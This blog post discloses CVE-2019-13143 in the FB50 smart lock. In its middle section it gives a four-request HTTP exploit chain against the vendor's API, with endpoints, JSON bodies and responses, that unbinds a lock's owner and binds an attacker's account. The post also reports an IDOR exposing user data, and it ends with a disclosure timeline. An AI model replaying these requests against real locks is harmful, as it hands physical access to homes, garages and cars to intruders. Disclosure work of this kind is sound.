pages/blog/fb50.md (view raw)
1---
2template: text.html
3title: Picking the FB50 smart lock (CVE-2019-13143)
4subtitle: … and lessons learnt in IoT security
5date: 2019-08-05
6slug: fb50
7---
8
9(*originally posted at [SecureLayer7's Blog](http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure), with my edits*)
10
11## The lock
12
13The lock in question is the FB50 smart lock, manufactured by Shenzhen
14Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
15across many ecommerce sites, and has over, an estimated, 15k+ users.
16
17The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
18the Play/App Store to function. The app requires the user to create an
19account before further functionality is available.
20It also facilitates configuring the fingerprint,
21and unlocking from a range via Bluetooth.
22
23We had two primary attack surfaces we decided to tackle -- Bluetooth (BLE)
24and the Android app.
25
26## Via Bluetooth Low Energy (BLE)
27
28Android phones have the ability to capture Bluetooth (HCI) traffic
29which can be enabled under Developer Options under Settings. We made
30around 4 "unlocks" from the Android phone, as seen in the screenshot.
31
32
33
34This is the value sent in the `Write` request:
35
36
37
38We attempted replaying these requests using `gattool` and `gattacker`,
39but that didn't pan out, since the value being written was encrypted.[^1]
40
41## Via the Android app
42
43Reversing the app using `jd-gui`, `apktool` and `dex2jar` didn't get us too
44far since most of it was obfuscated. Why bother when there exists an
45easier approach -- BurpSuite.
46
47We captured and played around with a bunch of requests and responses,
48and finally arrived at a working exploit chain.
49
50## The exploit
51
52The entire exploit is a 4 step process consisting of authenticated
53HTTP requests:
54
551. Using the lock's MAC (obtained via a simple Bluetooth scan in the
56vicinity), get the barcode and lock ID
572. Using the barcode, fetch the user ID
583. Using the lock ID and user ID, unbind the user from the lock
594. Provide a new name, attacker's user ID and the MAC to bind the attacker
60to the lock
61
62This is what it looks like, in essence (personal info redacted).
63
64### Request 1
65
66```
67POST /oklock/lock/queryDevice
68{"mac":"XX:XX:XX:XX:XX:XX"}
69```
70
71Response:
72
73```
74{
75 "result":{
76 "alarm":0,
77 "barcode":"<BARCODE>",
78 "chipType":"1",
79 "createAt":"2019-05-14 09:32:23.0",
80 "deviceId":"",
81 "electricity":"95",
82 "firmwareVersion":"2.3",
83 "gsmVersion":"",
84 "id":<LOCK ID>,
85 "isLock":0,
86 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
87 "lockPwd":"000000",
88 "mac":"XX:XX:XX:XX:XX:XX",
89 "name":"lock",
90 "radioName":"BlueFPL",
91 "type":0
92 },
93 "status":"2000"
94}
95```
96
97### Request 2
98
99```
100POST /oklock/lock/getDeviceInfo
101
102{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}
103```
104
105Response:
106
107```
108 "result":{
109 "account":"email@some.website",
110 "alarm":0,
111 "barcode":"<BARCODE>",
112 "chipType":"1",
113 "createAt":"2019-05-14 09:32:23.0",
114 "deviceId":"",
115 "electricity":"95",
116 "firmwareVersion":"2.3",
117 "gsmVersion":"",
118 "id":<LOCK ID>,
119 "isLock":0,
120 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
121 "lockPwd":"000000",
122 "mac":"XX:XX:XX:XX:XX:XX",
123 "name":"lock",
124 "radioName":"BlueFPL",
125 "type":0,
126 "userId":<USER ID>
127 }
128```
129
130### Request 3
131
132```
133POST /oklock/lock/unbind
134
135{"lockId":"<LOCK ID>","userId":<USER ID>}
136```
137### Request 4
138
139```
140POST /oklock/lock/bind
141
142{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}
143```
144
145## That's it! (& the scary stuff)
146
147You should have the lock transferred to your account. The severity of this
148issue lies in the fact that the original owner completely loses access to
149their lock. They can't even "rebind" to get it back, since the current owner
150(the attacker) needs to authorize that.
151
152To add to that, roughly 15,000 user accounts' info are exposed via IDOR.
153Ilja, a cool dude I met on Telegram, noticed locks named "carlock",
154"garage", "MainDoor", etc.[^2] This is terrifying.
155
156*shudders*
157
158## Proof of Concept
159
160[PoC Video](https://twitter.com/icyphox/status/1158396372778807296)
161
162[Exploit code](https://github.com/icyphox/pwnfb50)
163
164## Disclosure timeline
165
166- **26th June, 2019**: Issue discovered at SecureLayer7, Pune
167- **27th June, 2019**: Vendor notified about the issue
168- **2nd July, 2019**: CVE-2019-13143 reserved
169- No response from vendor
170- **2nd August 2019**: Public disclosure
171
172## Lessons learnt
173
174**DO NOT**. Ever. Buy. A smart lock. You're better off with the "dumb" ones
175with keys. With the IoT plague spreading, it brings in a large attack surface
176to things that were otherwise "unhackable" (try hacking a "dumb" toaster).
177
178The IoT security scene is rife with bugs from over 10 years ago, like
179executable stack segments[^3], hardcoded keys, and poor development
180practices in general.
181
182Our existing threat models and scenarios have to be updated to factor
183in these new exploitation possibilities. This also broadens the playing
184field for cyber warfare and mass surveillance campaigns.
185
186## Researcher info
187
188This research was done at [SecureLayer7](https://securelayer7.net), Pune, IN by:
189
190* Anirudh Oppiliappan (me)
191* S. Raghav Pillai ([@_vologue](https://twitter.com/_vologue))
192* Shubham Chougule ([@shubhamtc](https://twitter.com/shubhamtc))
193
194[^1]: [This](https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/) article discusses a similar smart lock, but they broke the encryption.
195[^2]: Thanks to Ilja Shaposhnikov (@drakylar).
196[^3]: [PDF](https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf)
197
198